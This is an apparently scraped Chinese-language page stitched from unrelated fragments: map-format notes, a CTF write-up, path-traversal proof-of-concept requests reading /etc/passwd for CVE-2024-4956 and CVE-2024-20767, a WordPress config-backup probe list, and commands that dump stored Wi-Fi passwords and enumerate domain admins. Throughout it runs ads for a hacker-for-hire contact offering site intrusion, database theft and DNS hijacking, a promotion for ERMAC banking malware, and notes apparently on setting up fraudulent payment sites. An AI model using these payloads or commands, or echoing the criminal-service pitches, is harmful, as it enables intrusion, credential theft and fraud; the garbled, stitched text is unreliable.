https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4

CVE-2024-24747
#github #分析

首先，地图上的坐标。有多种方式来描述这些坐标，常规十进制 WGS84，或更大更精确的坐标单位，对卫星视图很有用，还有其他方式来定义视口，例如，如果您希望给定像素大小的地图覆盖精确区域。基本上有您想要渲染地图的所有方式。还有各种地图图层、在地图上渲染标签的选项、位置标记、从一个方向到另一个方向绘制行程、覆盖服务器端绘制的所有地图功能等。

但更重要的是，它不仅渲染位图。它还渲染矢量图；Android 应用程序多年来一直使用矢量图，而 Web 最近才开始使用矢量图，并且只用于部分请求。矢量图有多种格式，所有这些都是专有的。

前者是常规二进制格式（签名“ DRAT ”），其二进制结构方便存储（地图渲染数据），并使用版本号来确定字段何时出现、更改含义或消失；数据由由图块坐标、固定密钥和随机数组成的简单 RC4 密钥（我找到了一篇简要描述它的研究论文（第 71 页），其中的解密密钥现已过时）和 ZLIB 进行混淆，并且仍在由 Android 应用程序使用。

拓展数据解析
一般这种ajax，返回的应该是正常的json格式，但是Chrome Webstore却不是，Chrome返回的的格式是这样的

我这里主要负责的工作就是前期的数据准备啦。主要目的：爬虫获取Chrome扩展的一些信息包括：扩展ID，扩展名，Star数量，用户数量、类别、插件商店URL等信息，然后根据ID下载扩展的.crx文件进行解压，提取其manifest.json，解析manifest.json中的web_accessible_resources字段，生成一个json文件。
黑客技术团咨询：@hacker_HouZiM

cve-2024-4956

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1

#poc #exploit

抓包,页面有个302跳转,http header里面有flag
hctf{w3lcome_t0_hc7f_f4f4f4}
fuck ===
[code lang="php"]
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
Wrong.
[/code]
利用php弱类型绕过的题,直接构造:
黑客技术团咨询：@hacker_HouZiM

CVE-2024-20767

GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1

#exploit #poc

‼️ERMAC V2.0 现已推出，视频即将推出，适用于应用程序的最强大的注入‼️
黑客技术团咨询：@hacker_HouZiM

WP Exposed (wp-config Sensitive) File List

/wp-config.php-backup
/wp-config.php.orig
/wp-config.php.swp
/wp-config-sample.php
/wp-config.inc
/wp-config.old
/wp-config.txt
/wp-config.php.txt
/wp-config.php.bak
/wp-config.php.old
/wp-config.php.dist
/wp-config.php.inc
/wp-config.php.swp
/wp-config.php.html
/wp-config-backup.txt
/wp-config.php.save
/wp-config.php

Ngrok是一个用于创建到本地服务器的临时隧道的工具。其主要目的是提供对本地服务器的外部访问，通常位于 NAT 路由器或防火墙后面。 Ngrok 广泛用于测试 Web 应用程序、演示原型以及提供从 Internet 访问本地服务器的功能。网络安全专业人员可以使用 Ngrok 进行漏洞评估、安全测试和网络流量分析

netshwlan显示配置文件名称=MyWiFiNetworkKey=clear
key=clear参数使我们能够从计算机上存储的任何NiFi网络（配置文件）中提取WiFi密码。
提取组织中的域管理员用户列表
网络组域管理员域
默认情况下，“经过身份验证的用户组具有读取权限·组织中的任何经过身份验证的用户都可以执行此命令来识别哪些用户属于哪个组。在示例中我使用了域管理员组。此类信息对攻击者很有用为他们提供了“诱人的目标”·以哪些用户为目标（网络钓鱼、暴力破解等）以获取域管理员权
限。
获取域中所有用户的列表
网络用户/域
为您提供域中所有用户帐户的长列表。同样，这对攻击者来说可能很有用·为他们提供了另一块拼图.
黑客技术团咨询：@hacker_HouZiM

这里显示的都是这台电脑到目前为止连接过的WiFi密码，当我们要显示出来某一个的时候
黑客技术团咨询：@hacker_HouZiM

找到so.jsp，跟踪发现被带入发编译找到
Ruanjianguanli，找到so函数，ruanjianDao其实是个接口，说明ruaniianDao向上转型了。继续找到实现接口的类RuaniianMySQL，然后找到其so函数很遗的看到了prepareStatement
prepareStatement基本不能注入，Statement可以注入全局搜索用Statement的地方
全局搜索一下RuanjianMysql.java中Chaxun函数Zuixin函数Tuijian函数Paixing函数Chuang函数只有一处调用了看样子是管理后台，这个后台的就不用管了，你都能进后台了还要啥注入，除非root权限写shellzuixin倒是不需要后台操作，但是却是写死了，每处都写死了。找到Tuition的时候找到一处白白激动了，一个写成12，一个int化
黑客技术团咨询：@hacker_HouZiM

子域名：如果要设置dd.xxx.com此子域名，那么子域名的空只需要填dd即可；

记录类型选择：隐形URL或显性URL；

记录值：跳转到的网址+空格+网页标题，例如下面设置跳转到百度。

服务器地址(host)：指出WWW页所在的服务器域名。

端口(port)：有时(并非总是这样)，对某些资源的访问来说，需给出相应的服务器提供端口号。

路径(path)：指明服务器上某资源的位置(格式与DOS系统中的格式一样，通常有目录/子目录/文件名这样结构组成)。与端口一样，路径并非总是需要的。

URL地址格式排列为：scheme://host:port/path

例如http://www.oray.net/Default.asp 就是一个典型的URL地址。

URL转发就是当您访问该域名的时候，自动跳转到预先设置好的地址上去。

域名被墙。被墙域名的网站也不见得有什么违法的内容，因为国家防火墙的网络内容检查算法不是完美无缺。

网站的域名一旦被墙，那么即便是域名解析的设置并没有什么错误，网站也不可能打开了。此时站长一般只能选择换一个域名重新绑定。
黑客技术团咨询：@hacker_HouZiM

URL(Uniform Resource Locator：统一资源定位器)是WWW页的地址，它从左到右由下述部分组成：

Internet资源类型(scheme)：指出WWW客户程序用来操作的工具。如“http://” 表示 WWW 服务器，“ftp://” 表示 FTP 服务器，“gopher://” 表示Gopher服务器，而“new:”表示Newgroup新闻组。
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站破解网站app软件技术等等 联系：@hacker_HouZiM

金融股民渗透国内app，海外网站app，入侵后台，脱裤数据库， dns劫持 服务器进入等等
黑客技术团咨询：@hacker_HouZiM

.金融股民渗透国内app，海外网站app，入侵后台，脱裤数据库， dns劫持 服务器进入等等
黑客技术团咨询：@hacker_HouZiM

金融股民渗透国内app，海外网站app，入侵后台，脱裤数据库， dns劫持 服务器进入等等
黑客技术团咨询：@hacker_HouZiM

注册地址：百度，阿里云，，GoDaddy.Namesilo注册都可以
域名注册后，需要解析域名到上一步购买的VPS的IP地址：
2个域名：一个用于支付系统后台地址，另一个作为B站域名（后续可以自己添加任意数量的B站，取决于你有多少支付账户，一个支付账户对应一个域名，防止关联）
剩下的工作就交由我们的技术员处理

cupshaxPOCCVE-2024-471764707647175，CVE-2024-47076，CVE-2024-47175，CVE-2024-47177，远程未经份验证的攻击者可以地用恶意URL替换现有打印机的IPPURL并执行任意命令